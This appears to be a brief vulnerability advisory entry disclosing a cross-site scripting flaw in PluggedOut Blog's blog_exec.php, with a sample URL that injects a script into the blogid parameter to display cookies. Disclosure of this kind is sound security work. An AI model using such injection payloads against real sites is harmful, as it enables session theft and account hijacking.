• info
• discussion
• exploit
• solution
• references

PluggedOut Blog Blog_Exec.PHP Cross-Site Scripting Vulnerability

The following example is available:

http://www.example.com/blog/blog_exec.php?action=remove_blog&blogid=<script>alert(document.cookie);</script>